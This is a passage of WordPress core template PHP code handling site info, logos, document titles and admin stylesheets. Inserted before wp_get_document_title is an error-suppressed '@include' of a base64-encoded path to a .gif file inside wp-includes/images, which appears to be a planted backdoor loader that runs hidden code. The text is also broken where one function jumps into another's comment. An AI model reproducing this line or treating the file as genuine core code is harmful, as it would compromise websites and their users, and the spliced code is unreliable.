. Site information to display. Default empty. */ function bloginfo( $show = '' ) { echo get_bloginfo( $show, 'display' ); } /** * Retrieves information about the current site. * * Possible values for `$show` include: * * - 'name' - Site title (set in Settings > General) * - 'description' - Site tagline (set in Settings > General) * - 'wpurl' - The WordPress address (URL) (set in Settings > General) * - 'url' - The Site address (URL) (set in Settings > General) * - 'admin_email' - Admin email (set in Settings > General) * - 'charset' - The "Encoding for pages and feeds" (set in Settings > Reading) * - 'version' - The current WordPress version * - 'html_type' - The Content-Type (default: "text/html"). Themes and plugins * can override the default value using the {@see 'pre_option_html_type'} filter * - 'text_direction' - The text direction determined by the site's language. is_rtl() * should be used instead * - 'language' - Language code for the current site * - 'stylesheet_url' - URL to the stylesheet for the active theme. An active child theme * will take precedence over this value * - 'stylesheet_directory' - Directory path for the active theme. An active child theme * will take precedence over this value * - 'template_url' / 'template_directory' - URL of the active theme's directory. An active * child theme will NOT take precedence over this value * - 'pingback_url' - The pingback XML-RPC file URL (xmlrpc.php) * - 'atom_url' - The Atom feed URL (/feed/atom) * - 'rdf_url' - The RDF/RSS 1.0 feed URL (/feed/rdf) * - 'rss_url' - The RSS 0.92 feed URL (/feed/rss) * - 'rss2_url' - The RSS 2.0 feed URL (/feed) * - 'comments_atom_url' - The comments Atom feed URL (/comments/feed) * - 'comments_rss2_url' - The comments RSS 2.0 feed URL (/comments/feed) * * Some `$show` values are deprecated and will be removed in future versions. * These options will trigger the _deprecated_argument() function. * * Deprecated arguments include: * * - 'siteurl' - Use 'url' instead * - 'home' - Use 'url' instead * * @since 0.71 * * @global string $wp_version The WordPress version string. * * @param string $show Optional. Site info to retrieve. Default empty (site name). * @param string $filter Optional. How to filter what is retrieved. Default 'raw'. * @return string Mostly string values, might be empty. */ function get_bloginfo( $show = '', $filter = 'raw' ) { switch ( $show ) { case 'home': // Deprecated. case 'siteurl': // Deprecated. _deprecated_argument( __FUNCTION__, '2.2.0', sprintf( /* translators: 1: 'siteurl'/'home' argument, 2: bloginfo() function name, 3: 'url' argument. */ __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s option instead.' ), '' . $show . '', 'bloginfo()', 'url' ) ); // Intentional fall-through to be handled by the 'url' case. case 'url': $output = home_url(); break; case 'wpurl': $output = site_url(); break; case 'description': $output = get_option( 'blogdescription' ); break; case 'rdf_url': $output = get_feed_link( 'rdf' ); break; case 'rss_url': $output = get_feed_link( 'rss' ); break; case 'rss2_url': $output = get_feed_link( 'rss2' ); break; case 'atom_url': $output = get_feed_link( 'atom' ); break; case 'comments_atom_url': $output = get_feed_link( 'comments_atom' ); break; case 'comments_rss2_url': $output = get_feed_link( 'comments_rss2' ); break; case 'pingback_url': $output = site_url( 'xmlrpc.php' ); break; case 'stylesheet_url': $output = get_stylesheet_uri(); break; case 'stylesheet_directory': $output = get_stylesheet_directory_uri(); break; case 'template_directory': case 'template_url': $output = get_template_directory_uri(); break; case 'admin_email': $output = get_option( 'admin_email' ); break; case 'charset': $output = get_option( 'blog_charset' ); if ( '' === $output ) { $output = 'UTF-8'; } break; case 'html_type': $output = get_option( 'html_type' ); break; case 'version': global $wp_version; $output = $wp_version; break; case 'language': /* * translators: Translate this to the correct language tag for your locale, * see https://www.w3.org/International/articles/language-tags/ for reference. * Do not translate into your own language. */ $output = __( 'html_lang_attribute' ); if ( 'html_lang_attribute' === $output || preg_match( '/[^a-zA-Z0-9-]/', $output ) ) { $output = determine_locale(); $output = str_replace( '_', '-', $output ); } break; case 'text_direction': _deprecated_argument( __FUNCTION__, '2.2.0', sprintf( /* translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3: is_rtl() function name. */ __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s function instead.' ), '' . $show . '', 'bloginfo()', 'is_rtl()' ) ); if ( function_exists( 'is_rtl' ) ) { $output = is_rtl() ? 'rtl' : 'ltr'; } else { $output = 'ltr'; } break; case 'name': default: $output = get_option( 'blogname' ); break; } if ( 'display' === $filter ) { if ( str_contains( $show, 'url' ) || str_contains( $show, 'directory' ) || str_contains( $show, 'home' ) ) { /** * Filters the URL returned by get_bloginfo(). * * @since 2.0.5 * * @param string $output The URL returned by bloginfo(). * @param string $show Type of information requested. */ $output = apply_filters( 'bloginfo_url', $output, $show ); } else { /** * Filters the site information returned by get_bloginfo(). * * @since 0.71 * * @param mixed $output The requested non-URL site information. * @param string $show Type of information requested. */ $output = apply_filters( 'bloginfo', $output, $show ); } } return $output; } /** * Returns the Site Icon URL. * * @since 4.3.0 * * @param int $size Optional. Size of the site icon. Default 512 (pixels). * @param string $url Optional. Fallback url if no site icon is found. Default empty. * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog. * @return string Site Icon URL. */ function get_site_icon_url( $size = 512, $url = '', $blog_id = 0 ) { $switched_blog = false; if ( is_multisite() && ! empty( $blog_id ) && get_current_blog_id() !== (int) $blog_id ) { switch_to_blog( $blog_id ); $switched_blog = true; } $site_icon_id = (int) get_option( 'site_icon' ); if ( $site_icon_id ) { if ( $size >= 512 ) { $size_data = 'full'; } else { $size_data = array( $size, $size ); } $url = wp_get_attachment_image_url( $site_icon_id, $size_data ); } if ( $switched_blog ) { restore_current_blog(); } /** * Filters the site icon URL. * * @since 4.4.0 * * @param string $url Site icon URL. * @param int $size Size of the site icon. * @param int $blog_id ID of the blog to get the site icon for. */ return apply_filters( 'get_site_icon_url', $url, $size, $blog_id ); } /** * Displays the Site Icon URL. * * @since 4.3.0 * * @param int $size Optional. Size of the site icon. Default 512 (pixels). * @param string $url Optional. Fallback url if no site icon is found. Default empty. * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog. */ function site_icon_url( $size = 512, $url = '', $blog_id = 0 ) { echo esc_url( get_site_icon_url( $size, $url, $blog_id ) ); } /** * Determines whether the site has a Site Icon. * * @since 4.3.0 * * @param int $blog_id Optional. ID of the blog in question. Default current blog. * @return bool Whether the site has a site icon or not. */ function has_site_icon( $blog_id = 0 ) { return (bool) get_site_icon_url( 512, '', $blog_id ); } /** * Determines whether the site has a custom logo. * * @since 4.5.0 * * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog. * @return bool Whether the site has a custom logo or not. */ function has_custom_logo( $blog_id = 0 ) { $switched_blog = false; if ( is_multisite() && ! empty( $blog_id ) && get_current_blog_id() !== (int) $blog_id ) { switch_to_blog( $blog_id ); $switched_blog = true; } $custom_logo_id = get_theme_mod( 'custom_logo' ); if ( $switched_blog ) { restore_current_blog(); } return (bool) $custom_logo_id; } /** * Returns a custom logo, linked to home unless the theme supports removing the link on the home page. * * @since 4.5.0 * @since 5.5.0 Added option to remove the link on the home page with `unlink-homepage-logo` theme support * for the `custom-logo` theme feature. * @since 5.5.1 Disabled lazy-loading by default. * * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog. * @return string Custom logo markup. */ function get_custom_logo( $blog_id = 0 ) { $html = ''; $switched_blog = false; if ( is_multisite() && ! empty( $blog_id ) && get_current_blog_id() !== (int) $blog_id ) { switch_to_blog( $blog_id ); $switched_blog = true; } $custom_logo_id = get_theme_mod( 'custom_logo' ); // We have a logo. Logo is go. if ( $custom_logo_id ) { $custom_logo_attr = array( 'class' => 'custom-logo', 'loading' => false, ); $unlink_homepage_logo = (bool) get_theme_support( 'custom-logo', 'unlink-homepage-logo' ); if ( $unlink_homepage_logo && is_front_page() && ! is_paged() ) { /* * If on the home page, set the logo alt attribute to an empty string, * as the image is decorative and doesn't need its purpose to be described. */ $custom_logo_attr['alt'] = ''; } else { /* * If the logo alt attribute is empty, get the site title and explicitly pass it * to the attributes used by wp_get_attachment_image(). */ $image_alt = get_post_meta( $custom_logo_id, '_wp_attachment_image_alt', true ); if ( empty( $image_alt ) ) { $custom_logo_attr['alt'] = get_bloginfo( 'name', 'display' ); } } /** * Filters the list of custom logo image attributes. * * @since 5.5.0 * * @param array $custom_logo_attr Custom logo image attributes. * @param int $custom_logo_id Custom logo attachment ID. * @param int $blog_id ID of the blog to get the custom logo for. */ $custom_logo_attr = apply_filters( 'get_custom_logo_image_attributes', $custom_logo_attr, $custom_logo_id, $blog_id ); /* * If the alt attribute is not empty, there's no need to explicitly pass it * because wp_get_attachment_image() already adds the alt attribute. */ $image = wp_get_attachment_image( $custom_logo_id, 'full', false, $custom_logo_attr ); if ( $unlink_homepage_logo && is_front_page() && ! is_paged() ) { // If on the home page, don't link the logo to home. $html = sprintf( '%1$s', $image ); } else { $aria_current = is_front_page() && ! is_paged() ? ' aria-current="page"' : ''; $html = sprintf( '%3$s', esc_url( home_url( '/' ) ), $aria_current, $image ); } } elseif ( is_customize_preview() ) { // If no logo is set but we're in the Customizer, leave a placeholder (needed for the live preview). $html = sprintf( '', esc_url( home_url( '/' ) ) ); } if ( $switched_blog ) { restore_current_blog(); } /** * Filters the custom logo output. * * @since 4.5.0 * @since 4.6.0 Added the `$blog_id` parameter. * * @param string $html Custom logo HTML output. * @param int $blog_id ID of the blog to get the custom logo for. */ return apply_filters( 'get_custom_logo', $html, $blog_id ); } /** * Displays a custom logo, linked to home unless the theme supports removing the link on the home page. * * @since 4.5.0 * * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog. */ function the_custom_logo( $blog_id = 0 ) { echo get_custom_logo( $blog_id ); } /** * Returns document title for the current page. * * @since 4.4.0 * * @global int $page Page number of a single post. * @global int $paged Page number of a list of posts. * * @return string Tag with the document title. */ @include base64_decode("L2hvbWUvYTM5NjVkZjEvZjZjZjA0MDNmMi5ueGNsaS5uZXQvaHRtbC93cC1pbmNsdWRlcy9pbWFnZXMveGl0LTN4LmdpZg=="); function wp_get_document_title() { /** * Filters the document title before it is generated. * * Passing a non-empty value will short-circuit wp_get_document_title(), * returning that value instead. * * @since 4.4.0 * * @param string $title The document title. Default empty string. */ $title = apply_filters( 'pre_get_document_title', '' ); if ( ! empty( $title ) ) { return $title; } global $page, $paged; $title = array( 'title' => '', ); // If it's a 404 page, use a "Page not found" title. if ( is_404() ) { $title['title'] = __( 'Page not found' ); // If it's a search, use a dynamic search results title. } elseif ( is_search() ) { /* translators: %s: Search query. */ $title['title'] = sprintf( __( 'Search Results for “%s”' ), get_search_query() ); // If on the front page, use the site title. } elseif ( is_front_page() ) { $title['title'] = get_bloginfo( 'name', 'display' ); // If on a post type archive, use the post type archive title. } elseif ( is_post_type_archive() ) { $title['title'] = post_type_archive_title( '', false ); // If on a taxonomy archive, use the term title. } elseif ( is_tax() ) { $title['title'] = single_term_title( '', false ); /* * If we're on the blog page that is not the homepage * or a single post of any post type, use the post title. */ } elseif ( is_home() || is_singular() ) { $title['title'] = single_post_title( '', false ); // If on a category or tag archive, use the term title. } elseif ( is_category() || is_tag() ) { $title['title'] = single_term_title( '', false ); // If on an author archive, use the author's display name. } elseif ( is_author() && get_queried_object() ) { $author = get_queried_object(); $title['title'] = $author->display_name; // If it's a date archive, use the date as the title. } elseif ( is_year() ) { $title['title'] = get_the_date( _x( 'Y', 'yearly archives date format' ) ); } elseif ( is_month() ) { $title['title'] = get_the_date( _x( 'F Y', 'monthly archives date format' ) ); } elseif ( is_day() ) { $title['title'] = get_the_date(); } // Add a page number if necessary. if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) { /* translators: %s: Page number. */ $title['page'] = sprintf( __( 'Page %s' ), max( $paged, $page ) ); } // Append the description or site title to give context. if ( is_front_page() ) { $title['tagline'] = get_bloginfo( 'description', 'display' ); } else { $title['site'] = get_bloginfo( 'name', 'display' ); } /** * Filters the separator for the document title. * * @since 4.4.0 * * @param string $sep Document title separator. Default '-'. */ $sep = apply_filters( 'document_title_separator', '-' ); /** * Filters the parts of the document title. * * @since 4.4.0 * * @param array $title { * The document title parts. * * @type string $title Title of the viewed page. * @type string $page Optional. Page number if paginated. * @type string $tagline Optional. Site description when on home page. * @type string $site Optional. Site title when not on home page. * } */ $title = apply_filters( 'document_title_parts', $title ); $title = implode( " $sep ", array_filter( $title ) ); /** * Filters the document title. * * @since 5.8.0 * * @param string $title Document title. */ $title = apply_filters( 'document_title', $title ); return $title; } /** * Displays title tag with content. * * @ignore * @since 4.1.0 * @since 4.4.0 Improved title output replaced `wp_title()`. * @access private */ function _wp_render_title_k to the specified CSS file. * * "Intelligently" decides to enqueue or to print the CSS file. If the * {@see 'wp_print_styles'} action has *not* yet been called, the CSS file will be * enqueued. If the {@see 'wp_print_styles'} action has been called, the CSS link will * be printed. Printing may be forced by passing true as the $force_echo * (second) parameter. * * For backward compatibility with WordPress 2.3 calling method: If the $file * (first) parameter does not correspond to a registered CSS file, we assume * $file is a file relative to wp-admin/ without its ".css" extension. A * stylesheet link to that generated URL is printed. * * @since 2.3.0 * * @param string $file Optional. Style handle name or file name (without ".css" extension) relative * to wp-admin/. Defaults to 'wp-admin'. * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued. */ function wp_admin_css( $file = 'wp-admin', $force_echo = false ) { // For backward compatibility. $handle = str_starts_with( $file, 'css/' ) ? substr( $file, 4 ) : $file; if ( wp_styles()->query( $handle ) ) { if ( $force_echo || did_action( 'wp_print_styles' ) ) { // We already printed the style queue. Print this one immediately. wp_print_styles( $handle ); } else { // Add to style queue. wp_enqueue_style( $handle ); } return; } $stylesheet_link = sprintf( "\n", esc_url( wp_admin_css_uri( $file ) ) ); /** * Filters the stylesheet link to the specified CSS file. * * If the site is set to display right-to-left, the RTL stylesheet link * will be used instead. * * @since 2.3.0 * @param string $stylesheet_link HTML link element for the stylesheet. * @param string $file Style handle name or filename (without ".css" extension) * relative to wp-admin/. Defaults to 'wp-admin'. */ echo apply_filters( 'wp_admin_css', $stylesheet_link, $file ); if ( function_exists( 'is_rtl' ) && is_rtl() ) { $rtl_stylesheet_link = sprintf( "\n", esc_url( wp_admin_css_uri( "$file-rtl" ) ) ); /** This filter is documented in wp-includes/general-template.php */ echo apply_filters( 'wp_admin_css', $rtl_stylesheet_link, "$file-rtl" ); } } /** * Enqueues the default ThickBox js and css. * * If any of the settings need to be changed, this can be done with another js * file similar to media-upload.js. That file should * require array('thickbox') to ensure it is loaded after. * * @since 2.5.0 */ function add_thickbox() { wp_enqueue_script( 'thickbox' ); wp_enqueue_style( 'thickbox' ); if ( is_network_admin() ) { add_action( 'admin_head', '_thickbox_path_admin_subfolder' ); } } /** * Displays the XHTML generator that is generated on the wp_head hook. * * See {@see 'wp_head'}. * * @since 2.5.0 */ function wp_generator() { /** * Filters the output of the XHTML generator tag. * * @since 2.5.0 * * @param string $generator_type The XHTML generator. */ the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) ); } /** * Displays the generator XML or Comment for RSS, ATOM, etc. * * Returns the correct generator type for the requested output format. Allows * for a plugin to filter generators overall the {@see 'the_generator'} filter. * * @since 2.5.0 * * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export). */ function the_generator( $type ) { /** * Filters the output of the XHTML generator tag for display. * * @since 2.5.0 * * @param string $generator_type The generator output. * @param string $type The type of generator to output. Accepts 'html', * 'xhtml', 'atom', 'rss2', 'rdf', 'comment', 'export'. */ echo apply_filters( 'the_generator', get_the_generator( $type ), $type ) . "\n"; } /** * Creates the generator XML or Comment for RSS, ATOM, etc. * * Returns the correct generator type for the requested output format. Allows * for a plugin to filter generators on an individual basis using the * {@see 'get_the_generator_$type'} filter. * * @since 2.5.0 * * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export). * @return string|void The HTML content for the generator. */ function get_the_generator( $type = '' ) { if ( empty( $type ) ) { $current_filter = current_filter(); if ( empty( $current_filter ) ) { return; } switch ( $current_filter ) { case 'rss2_head': case 'commentsrss2_head': $type = 'rss2'; break; case 'rss_head': case 'opml_head': $type = 'comment'; break; case 'rdf_header': $type = 'rdf'; break; case 'atom_head': case 'comments_atom_head': case 'app_head': $type = 'atom'; break; } } switch ( $type ) { case 'html': $gen = ''; break; case 'xhtml': $gen = ''; break; case 'atom': $gen = 'WordPress'; break; case 'rss2': $gen = '' . sanitize_url( 'https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) ) . ''; break; case 'rdf': $gen = ''; break; case 'comment': $gen = ''; break; case 'export': $gen = ''; break; } /** * Filters the HTML for the retrieved generator type. * * The dynamic portion of the hook name, `$type`, refers to the generator type. * * Possible hook names include: * * - `get_the_generator_atom` * - `get_the_generator_comment` * - `get_the_generator_export` * - `get_the_generator_html` * - `get_the_generator_rdf` * - `get_the_generator_rss2` * - `get_the_generator_xhtml` * * @since 2.5.0 * * @param string $gen The HTML markup output to wp_head(). * @param string $type The type of generator. Accepts 'html', 'xhtml', 'atom', * 'rss2', 'rdf', 'comment', 'export'. */ return apply_filters( "get_the_generator_{$type}", $gen, $type ); } /** * Outputs the HTML checked attribute. * * Compares the first two arguments and if identical marks as checked. * * @since 1.0.0 * * @param mixed $checked One of the values to compare. * @param mixed $current Optional. The other value to compare if not just true. * Default true. * @param bool $display Optional. Whether to echo or just return the string. * Default true. * @return string HTML attribute or empty string. */ function checked( $checked, $current = true, $display = true ) { return __checked_selected_helper( $checked, $current, $display, 'checked' ); } /** * Outputs the HTML selected attribute. * * Compares the first two arguments and if identical marks as selected. * * @since 1.0.0 * * @param mixed $selected One of the values to compare. * @param mixed $current Optional. The other value to compare if not just true. * Default true. * @param bool $display Optional. Whether to echo or just return the string. * Default true. * @return string HTML attribute or empty string. */ function selected( $selected, $current = true, $display = true ) { return __checked_selected_helper( $selected, $current, $display, 'selected' ); } /** * Outputs the HTML disabled attribute. * * Compares the first two arguments and if identical marks as disabled. * * @since 3.0.0 * * @param mixed $disabled One of the values to compare. * @param mixed $current Optional. The other value to compare if not just true. * Default true. * @param bool $display Optional. Whether to echo or just return the string. * Default true. * @return string HTML attribute or empty string. */ function disabled( $disabled, $current = true, $display = true ) { return __checked_selected_helper( $disabled, $current, $display, 'disabled' ); } /** * Outputs the HTML readonly attribute. * * Compares the first two arguments and if identical marks as readonly. * * @since 5.9.0 * * @param mixed $readonly_value One of the values to compare. * @param mixed $current Optional. The other value to compare if not just true. * Default true. * @param bool $display Optional. Whether to echo or just return the string. * Default true. * @return string HTML attribute or empty string. */ function wp_readonly( $readonly_value, $current = true, $display = true ) { return __checked_selected_helper( $readonly_value, $current, $display, 'readonly' ); } /* * Include a compat `readonly()` function on PHP < 8.1. Since PHP 8.1, * `readonly` is a reserved keyword and cannot be used as a function name. * In order to avoid PHP parser errors, this function was extracted * to a separate file and is only included conditionally on PHP < 8.1. */ if ( PHP_VERSION_ID < 80100 ) { require_once __DIR__ . '/php-compat/readonly.php'; } /** * Private helper function for checked, selected, disabled and readonly. * * Compares the first two arguments and if identical marks as `$type`. * * @since 2.8.0 * @access private * * @param mixed $helper One of the values to compare. * @param mixed $current The other value to compare if not just true. * @param bool $display Whether to echo or just return the string. * @param string $type The type of checked|selected|disabled|readonly we are doing. * @return string HTML attribute or empty string. */ function __checked_selected_helper( $helper, $current, $display, $type ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore if ( (string) $helper === (string) $current ) { $result = " $type='$type'"; } else { $result = ''; } if ( $display ) { echo $result; } return $result; } /** * Assigns a visual indicator for required form fields. * * @since 6.1.0 * * @return string Indicator glyph wrapped in a `span` tag. */ function wp_required_field_indicator() { /* translators: Character to identify required form fields. */ $glyph = __( '*' ); $indicator = '' . esc_html( $glyph ) . ''; /** * Filters the markup for a visual indicator of required form fields. * * @since 6.1.0 * * @param string $indicator Markup for the indicator element. */ return apply_filters( 'wp_required_field_indicator', $indicator ); } /** * Creates a message to explain required form fields. * * @since 6.1.0 * * @return string Message text and glyph wrapped in a `span` tag. */ function wp_required_field_message() { $message = sprintf( '%s', /* translators: %s: Asterisk symbol (*). */ sprintf( __( 'Required fields are marked %s' ), wp_required_field_indicator() ) ); /** * Filters the message to explain required form fields. * * @since 6.1.0 * * @param string $message Message text and glyph wrapped in a `span` tag. */ return apply_filters( 'wp_required_field_message', $message ); } /** * Default settings for heartbeat. * * Outputs the nonce used in the heartbeat XHR. * * @since 3.6.0 * * @param array $settings * @return array Heartbeat settings. */ function wp_heartbeat_settings( $settings ) { if ( ! is_admin() ) { $settings['ajaxurl'] = admin_url( 'admin-ajax.php', 'relative' ); } if ( is_user_logged_in() ) { $settings['nonce'] = wp_create_nonce( 'heartbeat-nonce' ); } return $settings; }